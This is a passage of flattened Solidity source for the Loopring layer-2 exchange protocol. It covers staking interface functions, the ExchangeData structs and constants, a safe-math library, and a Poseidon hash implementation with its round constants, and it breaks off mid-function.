amount is greater than /// the staked amount, all staked LRC will be burned. function burnExchangeStake( uint amount ) external virtual returns (uint burnedLRC); /// @dev Stakes more LRC for an exchange. /// @param exchangeAddr The address of the exchange /// @param amountLRC The amount of LRC to stake /// @return stakedLRC The total amount of LRC staked for the exchange function depositExchangeStake( address exchangeAddr, uint amountLRC ) external virtual returns (uint stakedLRC); /// @dev Withdraws a certain amount of staked LRC for an exchange to the given address. /// This function is meant to be called only from within exchange contracts. /// @param recipient The address to receive LRC /// @param requestedAmount The amount of LRC to withdraw /// @return amountLRC The amount of LRC withdrawn function withdrawExchangeStake( address recipient, uint requestedAmount ) external virtual returns (uint amountLRC); /// @dev Gets the protocol fee values for an exchange. /// @return takerFeeBips The protocol taker fee /// @return makerFeeBips The protocol maker fee function getProtocolFeeValues( ) public virtual view returns ( uint8 takerFeeBips, uint8 makerFeeBips ); } // File: contracts/core/iface/ExchangeData.sol // Copyright 2017 Loopring Technology Limited. /// @title ExchangeData /// @dev All methods in this lib are internal, therefore, there is no need /// to deploy this library independently. /// @author Daniel Wang - <[email protected]> /// @author Brecht Devos - <[email protected]> library ExchangeData { // -- Enums -- enum TransactionType { NOOP, DEPOSIT, WITHDRAWAL, TRANSFER, SPOT_TRADE, ACCOUNT_UPDATE, AMM_UPDATE, SIGNATURE_VERIFICATION, NFT_MINT, // L2 NFT mint or L1-to-L2 NFT deposit NFT_DATA } enum NftType { ERC1155, ERC721 } // -- Structs -- struct Token { address token; } struct ProtocolFeeData { uint32 syncedAt; // only valid before 2105 (85 years to go) uint8 takerFeeBips; uint8 makerFeeBips; uint8 previousTakerFeeBips; uint8 previousMakerFeeBips; } // General auxiliary data for each conditional transaction struct AuxiliaryData { uint txIndex; bool approved; bytes data; } // This is the (virtual) block the owner needs to submit onchain to maintain the // per-exchange (virtual) blockchain. struct Block { uint8 blockType; uint16 blockSize; uint8 blockVersion; bytes data; uint256[8] proof; // Whether we should store the @BlockInfo for this block on-chain. bool storeBlockInfoOnchain; // Block specific data that is only used to help process the block on-chain. // It is not used as input for the circuits and it is not necessary for data-availability. // This bytes array contains the abi encoded AuxiliaryData[] data. bytes auxiliaryData; // Arbitrary data, mainly for off-chain data-availability, i.e., // the multihash of the IPFS file that contains the block data. bytes offchainData; } struct BlockInfo { // The time the block was submitted on-chain. uint32 timestamp; // The public data hash of the block (the 28 most significant bytes). bytes28 blockDataHash; } // Represents an onchain deposit request. struct Deposit { uint96 amount; uint64 timestamp; } // A forced withdrawal request. // If the actual owner of the account initiated the request (we don't know who the owner is // at the time the request is being made) the full balance will be withdrawn. struct ForcedWithdrawal { address owner; uint64 timestamp; } struct Constants { uint SNARK_SCALAR_FIELD; uint MAX_OPEN_FORCED_REQUESTS; uint MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE; uint TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS; uint MAX_NUM_ACCOUNTS; uint MAX_NUM_TOKENS; uint MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED; uint MIN_TIME_IN_SHUTDOWN; uint TX_DATA_AVAILABILITY_SIZE; uint MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND; } // This is the prime number that is used for the alt_bn128 elliptic curve, see EIP-196. uint public constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint public constant MAX_OPEN_FORCED_REQUESTS = 4096; uint public constant MAX_AGE_FORCED_REQUEST_UNTIL_WITHDRAW_MODE = 15 days; uint public constant TIMESTAMP_HALF_WINDOW_SIZE_IN_SECONDS = 7 days; uint public constant MAX_NUM_ACCOUNTS = 2 ** 32; uint public constant MAX_NUM_TOKENS = 2 ** 16; uint public constant MIN_AGE_PROTOCOL_FEES_UNTIL_UPDATED = 7 days; uint public constant MIN_TIME_IN_SHUTDOWN = 30 days; // The amount of bytes each rollup transaction uses in the block data for data-availability. // This is the maximum amount of bytes of all different transaction types. uint32 public constant MAX_AGE_DEPOSIT_UNTIL_WITHDRAWABLE_UPPERBOUND = 15 days; uint32 public constant ACCOUNTID_PROTOCOLFEE = 0; uint public constant TX_DATA_AVAILABILITY_SIZE = 68; uint public constant TX_DATA_AVAILABILITY_SIZE_PART_1 = 29; uint public constant TX_DATA_AVAILABILITY_SIZE_PART_2 = 39; uint public constant NFT_TOKEN_ID_START = 2 ** 15; struct AccountLeaf { uint32 accountID; address owner; uint pubKeyX; uint pubKeyY; uint32 nonce; uint feeBipsAMM; } struct BalanceLeaf { uint16 tokenID; uint96 balance; uint weightAMM; uint storageRoot; } struct Nft { address minter; // Minter address for a L2 mint or // the NFT's contract address in the case of a L1-to-L2 NFT deposit. NftType nftType; address token; uint256 nftID; uint8 creatorFeeBips; } struct MerkleProof { ExchangeData.AccountLeaf accountLeaf; ExchangeData.BalanceLeaf balanceLeaf; ExchangeData.Nft nft; uint[48] accountMerkleProof; uint[24] balanceMerkleProof; } struct BlockContext { bytes32 DOMAIN_SEPARATOR; uint32 timestamp; Block block; uint txIndex; } // Represents the entire exchange state except the owner of the exchange. struct State { uint32 maxAgeDepositUntilWithdrawable; bytes32 DOMAIN_SEPARATOR; ILoopringV3 loopring; IBlockVerifier blockVerifier; IAgentRegistry agentRegistry; IDepositContract depositContract; // The merkle root of the offchain data stored in a Merkle tree. The Merkle tree // stores balances for users using an account model. bytes32 merkleRoot; // List of all blocks mapping(uint => BlockInfo) blocks; uint numBlocks; // List of all tokens Token[] tokens; // A map from a token to its tokenID + 1 mapping (address => uint16) tokenToTokenId; // A map from an accountID to a tokenID to if the balance is withdrawn mapping (uint32 => mapping (uint16 => bool)) withdrawnInWithdrawMode; // A map from an account to a token to the amount withdrawable for that account. // This is only used when the automatic distribution of the withdrawal failed. mapping (address => mapping (uint16 => uint)) amountWithdrawable; // A map from an account to a token to the forced withdrawal (always full balance) // The `uint16' represents ERC20 token ID (if < NFT_TOKEN_ID_START) or // NFT balance slot (if >= NFT_TOKEN_ID_START) mapping (uint32 => mapping (uint16 => ForcedWithdrawal)) pendingForcedWithdrawals; // A map from an address to a token to a deposit mapping (address => mapping (uint16 => Deposit)) pendingDeposits; // A map from an account owner to an approved transaction hash to if the transaction is approved or not mapping (address => mapping (bytes32 => bool)) approvedTx; // A map from an account owner to a destination address to a tokenID to an amount to a storageID to a new recipient address mapping (address => mapping (address => mapping (uint16 => mapping (uint => mapping (uint32 => address))))) withdrawalRecipient; // Counter to keep track of how many of forced requests are open so we can limit the work that needs to be done by the owner uint32 numPendingForcedTransactions; // Cached data for the protocol fee ProtocolFeeData protocolFeeData; // Time when the exchange was shutdown uint shutdownModeStartTime; // Time when the exchange has entered withdrawal mode uint withdrawalModeStartTime; // Last time the protocol fee was withdrawn for a specific token mapping (address => uint) protocolFeeLastWithdrawnTime; // Duplicated loopring address address loopringAddr; // AMM fee bips uint8 ammFeeBips; // Enable/Disable `onchainTransferFrom` bool allowOnchainTransferFrom; // owner => NFT type => token address => nftID => Deposit mapping (address => mapping (NftType => mapping (address => mapping(uint256 => Deposit)))) pendingNFTDeposits; // owner => minter => NFT type => token address => nftID => amount withdrawable // This is only used when the automatic distribution of the withdrawal failed. mapping (address => mapping (address => mapping (NftType => mapping (address => mapping(uint256 => uint))))) amountWithdrawableNFT; } } // File: contracts/lib/MathUint.sol // Copyright 2017 Loopring Technology Limited. /// @title Utility Functions for uint /// @author Daniel Wang - <[email protected]> library MathUint { using MathUint for uint; function mul( uint a, uint b ) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b, "MUL_OVERFLOW"); } function sub( uint a, uint b ) internal pure returns (uint) { require(b <= a, "SUB_UNDERFLOW"); return a - b; } function add( uint a, uint b ) internal pure returns (uint c) { c = a + b; require(c >= a, "ADD_OVERFLOW"); } function add64( uint64 a, uint64 b ) internal pure returns (uint64 c) { c = a + b; require(c >= a, "ADD_OVERFLOW"); } } // File: contracts/lib/Poseidon.sol // Copyright 2017 Loopring Technology Limited. /// @title Poseidon hash function /// See: https://eprint.iacr.org/2019/458.pdf /// Code auto-generated by generate_poseidon_EVM_code.py /// @author Brecht Devos - <[email protected]> library Poseidon { // // hash_t4f6p52 // struct HashInputs4 { uint t0; uint t1; uint t2; uint t3; } function mix(HashInputs4 memory i, uint q) internal pure { HashInputs4 memory o; o.t0 = mulmod(i.t0, 11739432287187184656569880828944421268616385874806221589758215824904320817117, q); o.t0 = addmod(o.t0, mulmod(i.t1, 4977258759536702998522229302103997878600602264560359702680165243908162277980, q), q); o.t0 = addmod(o.t0, mulmod(i.t2, 19167410339349846567561662441069598364702008768579734801591448511131028229281, q), q); o.t0 = addmod(o.t0, mulmod(i.t3, 14183033936038168803360723133013092560869148726790180682363054735190196956789, q), q); o.t1 = mulmod(i.t0, 16872301185549870956030057498946148102848662396374401407323436343924021192350, q); o.t1 = addmod(o.t1, mulmod(i.t1, 107933704346764130067829474107909495889716688591997879426350582457782826785, q), q); o.t1 = addmod(o.t1, mulmod(i.t2, 17034139127218860091985397764514160131253018178110701196935786874261236172431, q), q); o.t1 = addmod(o.t1, mulmod(i.t3, 2799255644797227968811798608332314218966179365168250111693473252876996230317, q), q); o.t2 = mulmod(i.t0, 18618317300596756144100783409915332163189452886691331959651778092154775572832, q); o.t2 = addmod(o.t2, mulmod(i.t1, 13596762909635538739079656925495736900379091964739248298531655823337482778123, q), q); o.t2 = addmod(o.t2, mulmod(i.t2, 18985203040268814769637347880759846911264240088034262814847924884273017355969, q), q); o.t2 = addmod(o.t2, mulmod(i.t3, 8652975463545710606098548415650457376967119951977109072274595329619335974180, q), q); o.t3 = mulmod(i.t0, 11128168843135959720130031095451763561052380159981718940182755860433840154182, q); o.t3 = addmod(o.t3, mulmod(i.t1, 2953507793609469112222895633455544691298656192015062835263784675891831794974, q), q); o.t3 = addmod(o.t3, mulmod(i.t2, 19025623051770008118343718096455821045904242602531062247152770448380880817517, q), q); o.t3 = addmod(o.t3, mulmod(i.t3, 9077319817220936628089890431129759976815127354480867310384708941479362824016, q), q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; } function ark(HashInputs4 memory i, uint q, uint c) internal pure { HashInputs4 memory o; o.t0 = addmod(i.t0, c, q); o.t1 = addmod(i.t1, c, q); o.t2 = addmod(i.t2, c, q); o.t3 = addmod(i.t3, c, q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; } function sbox_full(HashInputs4 memory i, uint q) internal pure { HashInputs4 memory o; o.t0 = mulmod(i.t0, i.t0, q); o.t0 = mulmod(o.t0, o.t0, q); o.t0 = mulmod(i.t0, o.t0, q); o.t1 = mulmod(i.t1, i.t1, q); o.t1 = mulmod(o.t1, o.t1, q); o.t1 = mulmod(i.t1, o.t1, q); o.t2 = mulmod(i.t2, i.t2, q); o.t2 = mulmod(o.t2, o.t2, q); o.t2 = mulmod(i.t2, o.t2, q); o.t3 = mulmod(i.t3, i.t3, q); o.t3 = mulmod(o.t3, o.t3, q); o.t3 = mulmod(i.t3, o.t3, q); i.t0 = o.t0; i.t1 = o.t1; i.t2 = o.t2; i.t3 = o.t3; } function sbox_partial(HashInputs4 memory i, uint q) internal pure { HashInputs4 memory o; o.t0 = mulmod(i.t0, i.t0, q); o.t0 = mulmod(o.t0, o.t0, q); o.t0 = mulmod(i.t0, o.t0, q); i.t0 = o.t0; } function hash_t4f6p52(HashInputs4 memory i, uint q) internal pure returns (uint) { // validate inputs require(i.t0 < q, "INVALID_INPUT"); require(i.t1 < q, "INVALID_INPUT"); require(i.t2 < q, "INVALID_INPUT"); require(i.t3 < q, "INVALID_INPUT"); // round 0 ark(i, q, 14397397413755236225575615486459253198602422701513067526754101844196324375522); sbox_full(i, q); mix(i, q); // round 1 ark(i, q, 10405129301473404666785234951972711717481302463898292859783056520670200613128); sbox_full(i, q); mix(i, q); // round 2 ark(i, q, 5179144822360023508491245509308555580251733042407187134628755730783052214509); sbox_full(i, q); mix(i, q); // round 3 ark(i, q, 9132640374240188374542843306219594180154739721841249568925550236430986592615); sbox_partial(i, q); mix(i, q); // round 4 ark(i, q, 20360807315276763881209958738450444293273549928693737723235350358403012458514); sbox_partial(i, q); mix(i, q); // round 5 ark(i, q, 17933600965499023212689924809448543050840131883187652471064418452962948061619); sbox_partial(i, q); mix(i, q); // round 6 ark(i, q, 3636213416533737411392076250708419981662897009810345015164671602334517041153); sbox_partial(i, q); mix(i, q); // round 7 ark(i, q, 2008540005368330234524962342006691994500273283000229509835662097352946198608); sbox_partial(i, q); mix(i, q); // round 8 ark(i, q, 16018407964853379535338740313053768402596521780991140819786560130595652651567); sbox_partial(i, q); mix(i, q); // round 9 ark(i, q, 20653139667070586705378398435856186172195806027708437373983929336015162186471); sbox_partial(i, q); mix(i, q); // round 10 ark(i, q, 17887713874711369695406927657694993484804203950786446055999405564652412116765); sbox_partial(i, q); mix(i, q); // round 11 ark(i, q, 4852706232225925756777361208698488277369799648067343227630786518486608711772); sbox_partial(i, q); mix(i, q); // round 12 ark(i, q, 8969172011633935669771678412400911310465619639756845342775631896478908389850); sbox_partial(i, q); mix(i, q); // round 13 ark(i, q, 20570199545627577691240476121888846460936245025392381957866134167601058684375); sbox_partial(i, q); mix(i, q); // round 14 ark(i, q, 16442329894745639881165035015179028112772410105963688121820543219662832524136); sbox_partial(i, q); mix(i, q); // round 15 ark(i, q, 20060625627350485876280451423010593928172611031611836167979515653463693899374); sbox_partial(i, q); mix(i, q); // round 16 ark(i, q, 16637282689940520290130302519163090147511023430395200895953984829546679599107); sbox_partial(i, q); mix(i, q); // round 17 ark(i, q, 15599196921909732993082127725908821049411366914683565306060493533569088698214); sbox_partial(i, q); mix(i, q); // round 18 ark(i, q, 16894591341213863947423904025624185991098788054337051624251730868231322135455); sbox_partial(i, q); mix(i, q); // round 19 ark(i, q, 1197934381747032348421303489683932612752526046745577259575778515005162320212); sbox_partial(i, q); mix(i, q); // round 20 ark(i, q, 6172482022646932735745595886795230725225293469762393889050804649558459236626); sbox_partial(i, q); mix(i, q); // round 21 ark(i, q, 21004037394166516054140386756510609698837211370585899203851827276330669555417); sbox_partial(i, q); mix(i, q); // round 22 ark(i, q, 15262034989144652068456967541137853724140836132717012646544737680069032573006); sbox_partial(i, q); mix(i, q); // round 23 ark(i, q, 15017690682054366744270630371095785995296470601172793770224691982518041139766); sbox_partial(i, q); mix(i, q); // round 24 ark(i, q, 15159744167842240513848638419303545693472533086570469712794583342699782519832); sbox_partial(i, q); mix(i, q); // round 25 ark(i, q, 11178069035565459212220861899558526502477231302924961773582350246646450941231); sbox_partial(i, q); mix(i, q); // round 26 ark(i, q, 21154888769130549957415912997229564077486639529994598560737238811887296922114); sbox_partial(i, q); mix(i, q); // round 27 ark(i, q, 20162517328110570500010831422938033120419484532231241180224283481905744633719); sbox_partial(i, q); mix(i, q); // round 28 ark(i, q, 2777362604871784250419758188173029886707024739806641263170345377816177052018); sbox_partial(i, q); mix(i, q); // round 29 ark(i, q, 15732290486829619144634131656503993123618032247178179298922551820261215487562); sbox_partial(i, q); mix(i, q); // round 30 ark(i, q, 6024433414579583476444635447152826813568595303270846875177844482142230009826); sbox_partial(i, q); mix(i, q); // round 31 ark(i, q, 17677827682004946431939402157761289497221048154630238117709539216286149983245); sbox_partial(i, q); mix(i, q); // round 32 ark(i, q, 10716307389353583413755237303156291454109852751296156900963208377067748518748); sbox_partial(i, q); mix(i, q); // round 33 ark(i, q, 14925386988604173087143546225719076187055229908444910452781922028996524347508); sbox_partial(i, q); mix(i, q); // round 34 ark(i, q, 8940878636401797005293482068100797531020505636124892198091491586778667442523); sbox_partial(i, q); mix(i, q); // round 35 ark(i, q, 18911747154199663060505302806894425160044925686870165583944475880789706164410); sbox_partial(i, q); mix(i, q); // round 36 ark(i, q, 8821532432394939099312235292271438180996556457308429936910969094255825456935); sbox_partial(i, q); mix(i, q); // round 37 ark(i, q, 20632576502437623790366878538516326728436616723089049415538037018093616927643); sbox_partial(i, q); mix(i, q); // round 38 ark(i, q, 71447649211767888770311304010816315780740050029903404046389165015534756512); sbox_partial(i, q); mix(i, q); // round 39 ark(i, q, 2781996465394730190470582631099299305677291329609718650018200531245670229393); sbox_partial(i, q); mix(i, q); // round 40 ark(i, q, 12441376330954323535872906380510501637773629931719508864016287320488688345525); sbox_partial(i, q); mix(i, q); // round 41 ark(i, q, 2558302139544901035700544058046419714227464650146159803703499681139469546006); sbox_partial(i, q); mix(i, q); // round 42 ark(i, q, 10087036781939179132584550273563255199577525914374285705149349445480649057058); sbox_partial(i, q); mix(i, q); // round 43 ark(i, q, 4267692623754666261749551533667592242661271409704769363166965280715887854739); sbox_partial(i, q); mix(i, q); // round 44 ark(i, q, 4945579503584457514844595640661884835097077318604083061152997449742124905548); sbox_partial(i, q); mix(i, q); // round 45 ark(i, q, 17742335354489274412669987990603079185096280484072783973732137326144230832311); sbox_partial(i, q); mix(i, q); // round 46 ark(i, q, 6266270088302506215402996795500854910256503071464802875821837403486057988208); sbox_partial(i, q); mix(i, q); // round 47 ark(i, q, 2716062168542520412498610856550519519760063668165561277991771577403400784706); sbox_partial(i, q); mix(i, q); // round 48 ark(i, q, 19118392018538203167410421493487769944462015419023083813301166096764262134232); sbox_partial(i, q); mix(i, q); // round 49 ark(i, q, 9386595745626044000666050847309903206827901310677406022353307960932745699524); sbox_partial(i, q); mix(i, q); // round 50 ark(i, q, 9121640807890366356465620448383131419933298563527245687958865317869840082266); sbox_partial(i, q); mix(i, q); // round 51 ark(i, q, 3078975275808111706229899605611544294904276390490742680006005661017864583210); sbox_partial(i, q); mix(i, q); // round 52 ark(i, q, 7157404299437167354719786626667769956233708887934477609633504801472827442743); sbox_partial(i, q); mix(i, q); // round 53 ark(i, q, 14056248655941725362944552761799461694550787028230120190862133165195793034373); sbox_partial(i, q); mix(i, q); // round 54 ark(i, q, 14124396743304355958915937804966111851843703158171757752158388556919187839849); sbox_partial(i, q); mix(i, q); // round 55 ark(i, q, 11851254356749068692552943732920045260402277343008629727465773766468466181076); sbox_full(i, q); mix(i, q); // round 56 ark(i, q, 9799099446406796696742256539758943483211846559715874347178722060519817626047); sbox_full(i, q); mix(i, q); // round 57 ark(i, q, 10156146186214948683880719664738535455146137901666656566575307300522957959544); sbox_full(i, q); mix(i, q); return i.t0; } // // hash_t5f6p52 // struct HashInputs5 { uint t0; uint t1; uint t2; uint t3; uint t4; } function hash_t5f6p52_internal( uint t0, uint t1, uint t2, uint t3, uint t4, uint q ) internal pure returns (uint) { assembly { function mix(_t0, _t1, _t2, _t3, _t4, _q) -> nt0, nt1, nt2, nt3, nt4 { nt0 := mulmod(_t0, 4977258759536702998522229302103997878600602264560359702680165243908162277980, _q) nt0 := addmod(nt0, mulmod(_t1, 19167410339349846567561662441069598364702008768579734801591448511131028229281, _q), _q) nt0 := addmod(nt0, mulmod(_t2, 14183033936038168803360723133013092560869148726790180682363054735190196956789, _q), _q) nt0 := addmod(nt0, mulmod(_t3, 9067734253445064890734144122526450279189023719890032859456830213166173619761, _q), _q) nt0 := addmod(nt0, mulmod(_t4, 16378664841697311562845443097199265623838619398287411428110917414833007677155, _q), _q) nt1 := mulmod(_t0, 107933704346764130067829474107909495889716688591997879426350582457782826785, _q) nt1 := addmod(nt1, mulmod(_t1, 17034139127218860091985397764514160131253018178110701196935786874261236172431, _q), _q) nt1 := addmod(nt1, mulmod(_t2, 2799255644797227968811798608332314218966179365168250111693473252876996230317, _q), _q) nt1 := addmod(nt1, mulmod(_t3, 2482058150180648511543788012634934806465808146786082148795902594096349483974, _q), _q) nt1 := addmod(nt1, mulmod(_t4, 16563522740626180338295201738437974404892092704059676533096069531044355099628, _q), _q) nt2 := mulmod(_t0, 13596762909635538739079656925495736900379091964739248298531655823337482778123, _q) nt2 := addmod(nt2, mulmod(_t1, 18985203040268814769637347880759846911264240088034262814847924884273017355969, _q), _q) nt2 := addmod(nt2, mulmod(_t2, 8652975463545710606098548415650457376967119951977109072274595329619335974180, _q), _q) nt2 := addmod(nt2, mulmod(_t3, 970943815872417895015626519859542525373809485973005165410533315057253476903, _q), _q) nt2 := addmod(nt2, mulmod(_t4, 19406667490568134101658669326517700199745817783746545889094238643063688871948, _q), _q) nt3 := mulmod(_t0, 2953507793609469112222895633455544691298656192015062835263784675891831794974, _q) nt3 := addmod(nt3, mulmod(_t1, 19025623051770008118343718096455821045904242602531062247152770448380880817517, _q), _q) nt3 := addmod(nt3, mulmod(_t2, 9077319817220936628089890431129759976815127354480867310384708941479362824016, _q), _q) nt3 := addmod(nt3, mulmod(_t3, 4770370314098695913091200576539533727214143013236894216582648993741910829490, _q), _q) nt3 := addmod(nt3, mulmod(_t4, 4298564056297802123194408918029088169104276109138370115401819933600955259473, _q), _q) nt4 := mulmod(_t0, 8336710468787894148066071988103915091676109272951895469087957569358494947747, _q) nt4 := addmod(nt4, mulmod(_t1, 16205238342129310687768799056463408647672389183328001070715567975181364448609, _q), _q) nt4 := addmod(nt4, mulmod(_t2, 8303849270045876854140023508764676765932043944545416856530551331270859502246, _q), _q) nt4 := addmod(nt4, mulmod(_t3, 20218246699596954048529384569730026273241102596326201163062133863539137060414, _q), _q) nt4 := addmod(nt4, mulmod(_t4, 1712845821388089905746651754894206522004527237615042226559791118162382909269, _q), _q) } function ark(_t0, _t1, _t2, _t3, _t4, _q, c) -> nt0, nt1, nt2, nt3, nt4 { nt0 := addmod(_t0, c, _q) nt1 := addmod(_t1, c, _q) nt2 := addmod(_t2, c, _q) nt3 := addmod(_t3, c, _q) nt4 := addmod(_t4, c, _q) } function sbox_full(_t0, _t1, _t2, _t3, _t4, _q) -> nt0, nt1, nt2, nt3, nt4 { nt0 := mulmod(_t0, _t0, _q) nt0 := mulmod(nt0, nt0, _q) nt0 := mulmod(_t0, nt0, _q) nt1 := mulmod(_t1, _t1, _q) nt1 := mulmod(nt1, nt1, _q) nt1 := mulmod(_t1, nt1, _q) nt2 := mulmod(_t2, _t2, _q) nt2 := mulmod(nt2, nt2, _q) nt2 := mulmod(_t2, nt2, _q) nt3 := mulmod(_t3, _t3, _q) nt3 := mulmod(nt3, nt3, _q) nt3 := mulmod(_t3, nt3, _q) nt4 := mulmod(_t4, _t4, _q) nt4 := mulmod(nt4, nt4, _q) nt4 := mulmod(_t4, nt4, _q) } function sbox_partial(_t, _q) -> nt { nt := mulmod(_t, _t, _q) nt := mulmod(nt, nt, _q) nt := mulmod(_t, nt, _q) } // round 0 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 14397397413755236225575615486459253198602422701513067526754101844196324375522) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 1 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 10405129301473404666785234951972711717481302463898292859783056520670200613128) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 2 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 5179144822360023508491245509308555580251733042407187134628755730783052214509) t0, t1, t2, t3, t4 := sbox_full(t0, t1, t2, t3, t4, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 3 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 9132640374240188374542843306219594180154739721841249568925550236430986592615) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 4 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20360807315276763881209958738450444293273549928693737723235350358403012458514) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 5 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17933600965499023212689924809448543050840131883187652471064418452962948061619) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 6 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 3636213416533737411392076250708419981662897009810345015164671602334517041153) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 7 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2008540005368330234524962342006691994500273283000229509835662097352946198608) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 8 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16018407964853379535338740313053768402596521780991140819786560130595652651567) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 9 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20653139667070586705378398435856186172195806027708437373983929336015162186471) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 10 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 17887713874711369695406927657694993484804203950786446055999405564652412116765) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 11 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 4852706232225925756777361208698488277369799648067343227630786518486608711772) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 12 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 8969172011633935669771678412400911310465619639756845342775631896478908389850) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 13 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20570199545627577691240476121888846460936245025392381957866134167601058684375) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 14 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16442329894745639881165035015179028112772410105963688121820543219662832524136) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 15 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20060625627350485876280451423010593928172611031611836167979515653463693899374) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 16 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16637282689940520290130302519163090147511023430395200895953984829546679599107) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 17 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15599196921909732993082127725908821049411366914683565306060493533569088698214) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 18 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 16894591341213863947423904025624185991098788054337051624251730868231322135455) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 19 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 1197934381747032348421303489683932612752526046745577259575778515005162320212) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 20 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 6172482022646932735745595886795230725225293469762393889050804649558459236626) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 21 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 21004037394166516054140386756510609698837211370585899203851827276330669555417) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 22 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15262034989144652068456967541137853724140836132717012646544737680069032573006) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 23 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15017690682054366744270630371095785995296470601172793770224691982518041139766) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 24 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15159744167842240513848638419303545693472533086570469712794583342699782519832) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 25 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 11178069035565459212220861899558526502477231302924961773582350246646450941231) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 26 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 21154888769130549957415912997229564077486639529994598560737238811887296922114) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 27 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 20162517328110570500010831422938033120419484532231241180224283481905744633719) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 28 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 2777362604871784250419758188173029886707024739806641263170345377816177052018) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, t2, t3, t4, q) // round 29 t0, t1, t2, t3, t4 := ark(t0, t1, t2, t3, t4, q, 15732290486829619144634131656503993123618032247178179298922551820261215487562) t0 := sbox_partial(t0, q) t0, t1, t2, t3, t4 := mix(t0, t1, 